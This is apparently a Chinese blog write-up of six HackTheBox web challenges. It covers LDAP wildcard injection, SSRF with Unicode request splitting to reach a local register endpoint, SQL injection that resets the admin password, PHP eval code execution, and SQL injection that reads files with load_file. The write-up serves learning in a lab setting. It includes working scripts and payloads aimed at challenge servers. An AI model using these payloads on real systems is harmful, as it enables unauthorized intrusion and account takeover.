HackTheBox challenge-web部分Writeup

WEB


记录一下HTB上面的几道web题目,题目总体还是很有意思的

Emdee five for life

考察的比较基础的知识,给了一段字符串让我们对其进行md5加密,直接python获取再传输:

import requests
from hashlib import md5
from bs4 import BeautifulSoup

url="http://139.59.190.72:31216/"
r = requests.session()
ss=r.get(url=url)
soup= BeautifulSoup(ss.text,'html.parser')
for x in soup.find_all('h3'):
    string=x.get_text()

en_string=md5(string.encode('utf8')).hexdigest()
print(string)
print(en_string)
sss=r.post(url=url,data={"hash":en_string})
print(sss.text)
#ppp=requests.post
#print(ss.text)

image_1f3u42cqe1t3m1bgqt6qi00415m.png-143.2kB

Templated

也是比较基础的题目,没有过滤的SSTI,先测试一下是否存在漏洞

image_1f3u44n6p12uj4c7163q1p9t17km13.png-35.2kB

执行了4*4,证明存在SSTI漏洞,直接用hackbar自带的payload打一下

image_1f3u46kers6k1ias4o0ob61goe1g.png-53.6kB

直接查看flag的内容即可

Phonebook

这个题目还是很有意思的,不过就是考察的点比较老,后来在先知上找了相应的文章才看明白

image_1f3u4q6huijk1ms41hd0bci1doq1t.png-50kB

访问首页是一个比较简单的登陆页面,查看源码发现所有的静态文件都在同一个目录下,直接访问该目录,成功进入后台

image_1f3ug4ud912lt174q1km516dqqim2a.png-114.4kB

不过后台功能比较简单,没有可利用的点,猜测应该是在登陆页面下存在漏洞

image_1f3uggip210511boi13sdr5vofu2n.png-27.5kB

回到登陆页面,用burp跑一下关键的注入字符

image_1f3ugk0oerh11hs5lq1h6pdvc34.png-60.2kB

发现username和password都为”*”时,登陆成功,想了一下应该不是常见的注入,去搜索了一下,发现这篇文章

从一次漏洞挖掘入门Ldap注入

在里面看到了熟悉的字符“*”

image_1f3ugqnprtoeb9qqtc17m61g913h.png-74.6kB

然后根据文章的讲解,我就发现了使用“*”字符成功登陆的原因

image_1f3ugsbslbt21udl7aec1n1idi3u.png-139.1kB

大概原理就是“*”字符在LDAP注入中属于通配符,此时如果数据库中存在用户admin,密码为admin时,我们输入:

username=admin&password=* #可以成功登陆
username=*&password=admin #可以成功登陆
所以:
username=a*&password=* #可以成功登陆,同时可以判断出用户名的第一个字符为"a",然后以此类推“ad*”可以成功登陆

根据上面的思路,我们即可成功获取到用户的用户名和正确的密码了,直接上python脚本(跑用户名的时候没有出问题,后来跑密码时候发现出不了数据,测了一下是由于数字没在数组中,所以字符集一定要设置的比较完善)

import requests

url="http://206.189.121.131:30244/login"

dir=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]

j=""

# data={"username":"*","password":"*"}
# res=requests.post(url=url,data=data)

for i in range(32):
    for i in dir:
        #print(i+"*")
        data={"username":"reese","password":j+i+"*"}
        res=requests.post(url=url,data=data)
        if "Login" in res.text:
            #print("wrong")
            continue
        else:
            #print(i)
            j+=i
            print("[+]password_is:"+j)

# if "Login" in res.text:
#   print(1)
# else:
#   print(12)

#print(res.text)


image_1f3kau9vnkc8qdhb79pd0tor9.png-93.4kB

image_1f3kcsh7j1g487n5nuc1uh711s9m.png-105.4kB

weather APP

题目给了附件

image_1f41bf1b01f1ghncb81aqbs1vp.png-14.1kB

直接给了docker文件和源码,先看看源码获取一下题目逻辑,nodejs的站,在routes目录下看到了获取flag的条件

image_1f41gdvfu4el1vorine1kn0dqb1j.png-74.8kB

如果成为admin用户即可获取到/app/flag的内容,那么下一步就分析一下如何成为admin用户,在databases.js里面写了,admin用户存储在数据库内,同时密码是随机生成的,我们想要通过正常的暴力破解是没有用的,剩下的就是通过注入的方式获取密码

看了一下在register处,没有对我们输入的用户名和密码的参数进行处理,直接传输到了数据库中,猜测我们可以通过这里去修改数据库的信息

image_1f41gkcqs1t381msl18dh73n1sct20.png-44.4kB

同时看了一下isadmin函数的判断方式

image_1f41glm3619p1ptoa7d18slmdm2d.png-44.7kB

我们想要成为admin用户,就必须知道admin用户的密码,所以整体下来思路就比较清晰了,通过register处,进行注入,获取或修改admin用户的密码,我们在看一下,register接口访问需要哪些条件,在routes/index.js文件中

image_1f41gurm3ka5fnj15658j513ij2q.png-79.7kB

发现register接口需要我们进行本地访问,那我们就要查看哪些位置可以进行SSRF了,
“`challenge/helpers/WeatherHelper.js“`

image_1f41heose16s61k6r4ah1k246fr37.png-58kB

发现此处url属于可控的,跟一下内容,发现我们需要在
“`/api/weather“`里面提交

image_1f41hmlti13pombu3sb1i2ps433k.png-36.8kB

那么这道题目的思路就清晰了:在
“`/api/weather“`处构造SSRF,访问本地register接口传输用户名和密码进行注入,然后获取到admin用户的密码,登陆拿到flag。

首先我们需要分析一下注入的方式,看一下sql语句:

INSERT INTO users (username, password) VALUES ('${user}', '${pass}')

发现这样插入数据是不会直接将内容回显出来的,不过我们可以通过这种方式修改admin用户的密码,由于mysql不能同时执行两个语句,我们可以使用CONFLICT来解决这个问题,这个其实我在做题的时候没想到,找的歪国老哥的wp看的思路,我们想要写入数据库的语句:

INSERT INTO users (username, password) VALUES ('user', '1337'); UPDATE users SET password='admin' WHERE username='admin';--')

不过这样直接写入mysql中,语句会报错,所以我们需要构造最后写入数据库中的语句:

INSERT INTO users (username, password) VALUES ('admin', '1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')

简单的来讲就是我们后面执行的update语句把username作为了主要的主键进行查询,这样后面语句执行的就是修改用户名为admin的密码为admin,那么我们就通过这个语句重置了admin用户的密码。构造输入:

username=admin')
password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

即可重置admin用户的密码,下一步就是SSRF了,我们需要构造数据包:

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

username=admin')&password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

不过这里因为涉及到了node js的数据包传输问题,我最开始是用了w4nder在js相关trick总结的转换脚本:

payload = """ POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

""".replace('\n', '\r\n')

body =
"""
username=admin')&password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--
""".replace('\n', '\r\n').replace('+', '\u012b')
payload = payload.format(len(body), body)   \
        .replace(' ', '\u0120')             \
        .replace('\r\n', '\u010d\u010a')    \
        .replace('"', '\u0122')             \
        .replace("'", '\u0127')             \
        .replace('[', '\u015b')             \
        .replace(']', '\u015d')             \
        .replace('(', '\u0128')             \
        + 'GET' + '\u0120' + '/'

不过打过去一直没有反应,后来看歪国老哥的wp,他构造的数据包纯手撸的,真ne阿

image_1f41jkb7412vm1ikpk5dc0j1s2r4h.png-123.1kB

那我们也用最笨的方法进行手撸,最后构造脚本:

import requests

url = "http://46.101.44.190:31321"

username="admin"

password="123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) + '\u010D\u010A\u010D\u010Ausername='+parsedUsername + '&password='+ parsedPassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='

city='test'

country='test'

json={'endpoint':endpoint,'city':city,'country':country}

res=requests.post(url=url+'/api/weather',json=json)

执行之后,输入admin/admin登陆即可获取flag

image_1f41jol3s3mqd611erh1hbu1ih24u.png-27.7kB

LoveTok

php的代码审计题目,同样题目给了我们docker和代码,还是先简单读一下代码,在
“`timeModle.php“`下,发现eval函数

image_1f41l85on516kh217171mapat05b.png-23.8kB

继续看一下,eval里面的参数我们是否可控,发信format参数我们是可控的

image_1f41ledidn9t1ub1t701g6h12cp5o.png-53.6kB

image_1f41leod111d81k06se711ls1ck365.png-28.2kB

同时因为存在拼接符的问题,我们直接利用php的变种执行方式:

image_1f41lra611tq4krl7idagcobu72.png-70.9kB

直接执行一下phpinfo

image_1f41lsrmh97imne9119m415it7f.png-116.4kB

构造一下外带数据传参执行system函数

image_1f41lutq01ve11aonfu1uui457s.png-112.3kB

成功执行命令,再获取flag内容即可

FreeLancer

访问首页,查看一下源码

image_1f41m3lf911c9hqfolfl6gr4689.png-216.9kB

一团乱麻,直接搜索一下关键词:“.php”

image_1f41m4sg31gfsnq01qab86s11ln8m.png-92.2kB

发现两个php的跳转文件,注释这个更加的显示出问题,直接访问并测试一下参数

image_1f41m70eme0r19da1ejq1s3ck1393.png-38.1kB

发现直接执行异或了,别的不说先上sqlmap

image_1f41moag8154510l48qkig9jsl9g.png-42.5kB

sqlmap获取了一圈没发现flag,那就脚本小子第二弹,扫目录找信息

image_1f41mqcjcjgdbeicdk1pj014ap9t.png-26.6kB

发现目录,访问过去是一个登陆页面,直接用load_file读一下源码

-1 union select 1,2,load_file("/var/www/html/administrat/index.php")

image_1f41n32051bgv19lhv331cj51bgcaa.png-40.1kB

发现跳转页面,直接读这个源码

image_1f41n5pjf54ifa1l1k1bacu89b4.png-45kB

成功获取flag


发表评论

邮箱地址不会被公开。 必填项已用*标注